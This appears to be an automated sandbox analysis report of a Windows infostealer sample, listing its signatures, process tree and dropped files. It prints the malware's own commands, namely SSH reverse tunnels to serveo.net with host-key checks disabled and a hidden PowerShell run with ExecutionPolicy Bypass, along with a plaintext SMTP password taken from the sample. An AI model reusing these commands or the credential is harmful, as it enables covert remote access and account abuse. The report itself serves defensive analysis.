Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/10/2026, 15:02

General

  • Target
    63a4f55282106baed0ef20a3017768fd1fca367d63bf12206768e18211b985a0.exe
  • Size 1.2MB
  • Sample261006-semqaazv9p
  • SHA256 63a4f55282106baed0ef20a3017768fd1fca367d63bf12206768e18211b985a0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Credentials
  • Protocol

    smtp

  • Host

    smtp.gmail.com

  • Port

    587

  • Password

    gaqesfbcfoqjwyxr

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Outbound SSH connection to public host 2 TTPs 2 IoCs

    SSH is used for remote access. This may indicate SSH host discovery, encrypted C2 traffic, or data exfiltration.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\63a4f55282106baed0ef20a3017768fd1fca367d63bf12206768e18211b985a0.exe
    "C:\Users\Admin\AppData\Local\Temp\63a4f55282106baed0ef20a3017768fd1fca367d63bf12206768e18211b985a0.exe"
    1⤵
    • Checks computer location settings
    • Enumerates connected drives
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:1700
    • C:\Windows\system32\OpenSSH\ssh.exe
      "C:\Windows\system32\OpenSSH\ssh.exe" -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=30 -o ServerAliveCountMax=10 -o TCPKeepAlive=yes -o ConnectTimeout=15 -o ExitOnForwardFailure=yes -R 80:127.0.0.1:18321 serveo.net
      2⤵
      • Outbound SSH connection to public host
      PID:216
    • C:\Windows\system32\OpenSSH\ssh.exe
      "C:\Windows\system32\OpenSSH\ssh.exe" -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=30 -o ServerAliveCountMax=10 -o TCPKeepAlive=yes -o ConnectTimeout=15 -o ExitOnForwardFailure=yes -R 80:127.0.0.1:18321 [email protected]
      2⤵
      • Outbound SSH connection to public host
      PID:4768
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\em240784093.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3608

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_tkxxmidz.d4f.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkxxmidz.d4f.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        cl.txt

        • Path C:\Users\Admin\AppData\Local\Temp\cl.txt
        • Size 50B
        • SHA256 ffeed9e32bce951a996b9740965569e772cee9911d279b7a9edd48dfe4e3bcc9
        • MD5 SHA1 SHA512 TLSH

        cl.txt

        • Path C:\Users\Admin\AppData\Local\Temp\cl.txt
        • Size 76B
        • SHA256 8f7b0b1488fd8f0205f9d20c9a40b7b2d2c8fe52a5bbc3c07364ec56e946c242
        • MD5 SHA1 SHA512 TLSH

        em240784093.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\em240784093.ps1
        • Size 800B
        • SHA256 27c1e9c5c116cbd086f531881ccf6bc6d5f5619b230b19a95c675c4228a65ae1
        • MD5 SHA1 SHA512 TLSH

        st_1700_3385666000.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\st_1700_3385666000.tmp
        • Size 63B
        • SHA256 668bbb1cafe1d130e2dfbc222015dce899702836f539d72476e2910f955e1a67
        • MD5 SHA1 SHA512 TLSH

        st_1700_3385666000.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\st_1700_3385666000.tmp
        • Size 905B
        • SHA256 fac05ad6bf31184826523c22c5ecd4f20330fe00baa92a0bbec66c1ae91e7c5d
        • MD5 SHA1 SHA512 TLSH

        tun_debug.txt

        • Path C:\Users\Admin\Desktop\tun_debug.txt
        • Size 1KB
        • SHA256 036ed0052e0f0a14c7216348fb6c1af78905a61420f5b659a1931cdd9b2a2317
        • MD5 SHA1 SHA512 TLSH

        tun_debug.txt

        • Path C:\Users\Admin\Desktop\tun_debug.txt
        • Size 367B
        • SHA256 faa22ca446037ec47c25b83779c8386512b59f399bfa62b1d2711d7ac19e836a
        • MD5 SHA1 SHA512 TLSH

        tun_debug.txt

        • Path C:\Users\Admin\Desktop\tun_debug.txt
        • Size 601B
        • SHA256 0a8988d4c7690b91d2d3c0f1c9fbe36f0c9a2c48617e98c9ef307d37556b77bc
        • MD5 SHA1 SHA512 TLSH

        tun_debug.txt

        • Path C:\Users\Admin\Desktop\tun_debug.txt
        • Size 835B
        • SHA256 5952d0ed2f061cc0dc209c82630f6022a547ce916a97e2b84af8268753953982
        • MD5 SHA1 SHA512 TLSH

        memory/1700-107-0x00007FF7C9C00000-0x00007FF7C9D32000-memory.dmp

        memory/1700-7-0x00007FF7C9C00000-0x00007FF7C9D32000-memory.dmp

        memory/1700-128-0x00007FF7C9C00000-0x00007FF7C9D32000-memory.dmp

        memory/3608-110-0x00000256F5100000-0x00000256F5110000-memory.dmp

        memory/3608-112-0x00000256F5090000-0x00000256F50B2000-memory.dmp